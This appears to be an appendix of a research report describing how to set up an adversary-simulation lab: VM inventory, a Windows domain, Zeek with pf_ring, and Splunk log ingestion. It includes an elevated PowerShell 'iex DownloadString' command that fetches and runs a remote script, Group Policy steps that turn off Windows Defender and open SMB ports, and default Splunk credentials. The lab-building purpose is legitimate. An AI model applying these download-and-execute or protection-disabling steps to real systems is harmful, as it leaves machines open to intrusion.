14 Dell Latitude E5500 N/A Windows 10 Workstation  
15 Dell Latitude E5500 N/A Windows XP Workstation  
16 Dell Latitude E5500 N/A No OS N/A Students can install any OS 
they want on this machine 
17 Vostro 1400 N/A Windows 7 POS POS client 
18 Dell Latitude E6430 N/A FreeBSD Workstation N/A 
19 Juniper EX4200 N/A N/A Switch Switch 
20 Palo Alto PA-3050 N/A N/A Router Router 
21 Retail external - VM1 172.16.X.202 Windows 7 RDP POS 
22 Retail external - VM2 172.16.X.203 Windows 7 RDP POS 
23 Retail external - VM3 172.16.X.204 Windows 7 RDP POS 
24 Retail external - VM4 172.16.X.205 Windows 
Server 2003 
FTP FTP server 
25 Retail external - VM5 172.16.X.210 Solaris HTTP + 
SSH 
N/A 
26 Retail external - VM6 172.16.X.211 OpenBravo HTTP N/A 
27 Retail external - VM7 172.16.X.215 Debian HTTP N/A 
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28 Retail external - VM8 N/A Palo Alto N/A Router 
 
Network setup for experiments 2 and 3 
Why Zeek and pf_ring? 
PF_RING is the preferred method to use to monitor network traffic with high volumes of traffic 
[159]. In addition, Zeek and pf_ring can work together to monitor large volumes of traffic [160] [1161]. 
In this test case Zeek was able to monitor a 100G link with commodity hardware and pf_ring [69]. 
Network diagram 
Figure 26: Network diagram for adversary simulation  
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Network hardware resources 
# Item CPU 
cores 





4 8192 M DA:1E:C5:29:B2:D1 AD, DNS, RDP, 
WinRM 
Windows 2016 
2 Windows 10 
Client Saturn 
2 4096 M 6E:71:25:39:1D:FC RDP, WinRM Windows 10 v1511 






4 8192 M 12:53:79:30:19:D7, 
4A:EF:46:04:B6:B1 
SSH Ubuntu 18.04 
 
Init Windows Server 2016 
1. Create Windows Server 2016 VM 
2. Start VM 
3. Login 
4. Open “Network and sharing center” 
5. Right-click the primary interface and select “Properties” 
6. Double-click “Internet Protocol 4 (TCP/IP)” 
a. Enter “172.16.24.253” for the IP address 
b. Enter “255.255.255.0” for the netmask 
c. Enter “172.16.24.254” for gateway 
d. Enter “127.0.0.1” for DNS 1 
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e. Enter “8.8.8.8” for DNS 2  
f. Select “Ok” 
7. Open “System settings” 
a. Select “Change settings” 
b. Select “Change” to rename this computer 
c. Enter “WinDC” into computer name
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8. Open Powershell as Administrator 
9. Enter “”” powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object 
net.webclient).DownloadString('https://raw.githubusercontent.com/ansible/ansible/devel/
examples/scripts/ConfigureRemotingForAnsible.ps1'))" “”” 
10. Restart PC 
Install Ansible on macOS 
1. Brew update 
2. Brew install python3 python3-pip winrm 
3. Pip3 install ansible 
Deploy Windows domain controller 
1. Git clone https://github.com/CptOfEvilMinions/ThunderWaffle 
2. Cd ThunderWaffle/Infrastructure 
3. Mv group_vars/all.yml.example group_vars/all.yml: 
4. Vim group_vars/all.yml and set 
a. Set “base_domain” to a domain of your choosing 
b. Set “timezone” to a timezone of your choosing
 
5. Mv group_vars/windows.yml.example group_vars/windows.yml 
6. Vim group_vars/windows.yml and set: 
a. Set “ansible_user” to the administrator username for the VM 
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b. Set “ansible_password” to the administrator password for the VM
 
c. Set “dns_ip” to the IP address of the domain controller 
7. Vim hosts.ini and set 
a. Add the domain controller IP address under “win_dc”  
8. ansible-playbook -i hosts.ini deploy_win_dc.yml 
9.  
Init Windows clients 
11. Create Windows Server 10 VM 
12. Start VM 
13. Login 
14. Open Powershell as Administrator 
15. Enter “”” powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object 
net.webclient).DownloadString('https://raw.githubusercontent.com/ansible/ansible/devel/
examples/scripts/ConfigureRemotingForAnsible.ps1'))" “”” 
16. Open “Network and sharing center” 
17. Right-click the primary interface and select “Properties” 
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18. Double-click “Internet Protocol 4 (TCP/IP)” 
a. Enter “172.16.24.[130,131Sa]” for the IP address 
b. Enter “255.255.255.0” for the netmask 
c. Enter “172.16.24.254” for gateway 
d. Enter “172.16.24.253” for DNS 1 
e. Select “Ok” 
19. Open “System settings” 
a. Select “Change settings” 
b. Select “Change” to rename this computer 
c. Enter “[Saturn, Jupiter] into computer name 
20. Restart PC 
Deploy Windows client 
1. Vim hosts.ini and set 
a. Add the domain controller IP address under “win_clients”
 
2. ansible-playbook -i hosts.ini deploy_win_clients.yml 
Create domain users 
1. Login into domain controller 
2. Open Server Manager 
3. Tools > Active Directory Users and Computers 
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4. Active Directory Users and Computers > hackinglab.local > Users 
5. Create new user 
a. Name: [Bill Gates, Steve Jobs] 
b. Logon name: [bgates, sjobs] 
c. Enter password 
Disable Windows Defender on hosts 
1. Open Server Manager 
2. Tools > Group Policy Management 
3. Forest: hackinglab.local > hackinglab.local > Default Domain Policy 
4. Edit Default Domain Policy 
5. Computer Configuration > Policies > Administrative Templates > Windows Components 
> Windows Defender 
6. Double-lick “Turn off Windows Defender” 
7. Set to “Enabled” 
Allow SMB through firewall 
1. Open Server Manager 
2. Tools > Group Policy Management 
3. Forest: hackinglab.local > hackinglab.local > Default Domain Policy 
4. Edit Default Domain Policy 
5. Computer Configuration > Policies 
6. Computer Configuration > Policies > Windows Settings > Security Settings > Windows 
Firewall with Advanced Security > Windows Firewall with Advanced Security LDAP > 
Inbound Rules 
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7. Right-click “Inbound rules” and select “New rule” 
a. Select “Port” for rule type 
b. Select “TCP” for protocol 
c. Enter “135,137,138,139,445” for ports 
d. Select “Allow the connection” 
e. Select all profiles 
f. Enter “Allow WMI,SMB traffic” for name 
g. Finish 
8. Shutdown ALL windows VMs and snapshot them 
Install/Setup Zeek + pf_ring with Ansible 
Init Ansible setup 
1. Git clone https://github.com/CptOfEvilMinions/ThunderWagon 
2. Cd ThunderWagon/Infrastructure 
3. Vim hosts.ini and set zeek: 
a. Set “ansible_host“ under “[zeek]” to IP address of machine 
b. Save and exit  
Set variables for zeek setup 
1. Mv group_vars/sec_tools.yml.example group_vars/sec_tools.yml 
2. Vim group_vars/sec_tools.yml and set: 
a. Set “zeek_interface” to the interface that will monitor traffic 
b. Set “zeek_geoip” if you want Zeek to add geo-coordinates to each IP address 
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c. Set “zeek_file_extraction” if you want to extract files
 
d. Save and exit 
Init Ubuntu box 
1. Ssh into the  Ubuntu box 
2. apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y  && reboot 
3. apt-mark hold linux-image-generic linux-headers-generic 
a. DISABLING kernel updates 
b. Because we compiled PFRing in this kernel, any kernel builds may cause the 
PFRing module to fail to load.  You will need to recompile PFRing if you update 
your kernel after compiling. 
Deploy Zeek sensor 
1. Ansible-playbook -i hosts deploy_zeek.yml -u <user> -K 
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a. Enter password
Deploy Splunk on zeek 
1. Vim hosts.ini and set: 
a. Set “ansible_host” under “splunk” to IP address of zeek server 
b. Save and exit 
2. ansible-playbook -i hosts.ini deploy_splunk.yml -u superadmin -K
 
3. Open a web browser 
4. https://<IP addr of zeek>:443 
5. Login 
a. Username: admin 
b. Password: changeme 
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Create an index for Zeek logs 
1. Settings > Data > Indexes 
2. Select “New index” in top right 
3. Enter “zeek” into index name 
4. Select “Save” at the bottom right 
Dump Zeek logs into index 
1. Settings > Data > Data inputs 
2. Select “Files and directories” under “local inputs” 
3. Select “New local file and directory” in top right 
4. Select “/var/log/zeek” for file or directory path 
5. Set source type to “JSON” 
6. Set Index to zeek 
